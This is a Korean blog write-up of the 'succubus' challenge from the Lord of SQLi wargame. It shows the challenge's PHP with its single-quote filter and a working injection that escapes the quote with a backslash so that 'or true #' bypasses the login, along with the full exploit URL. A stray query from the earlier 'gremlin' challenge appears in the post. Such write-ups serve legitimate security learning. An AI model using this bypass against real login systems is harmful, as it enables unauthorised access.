CTF/LOS
[LOS] succubus 풀이 -16번
Te_ra
2020. 9. 17. 00:43
[LOS] gremlin 풀이
PHP & query
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
select id from prob_gremlin where id='' and pw=''
문제 풀이
더보기

solve 조건
if($result['id']) solve("succubus");
id값이 있기만하면 문제가 해결된다.
특수문자 제약
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
싱글쿼터를 필터링한다.
sqlInjection 쿼리
select id from prob_succubus where id='\' and pw='or true #'
id에 \를 넣어서 문자화 시킨다
select id from prob_succubus where id='\' and pw='or true #'
id 는 \' and pw= 가 된다
URL
los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or true %23
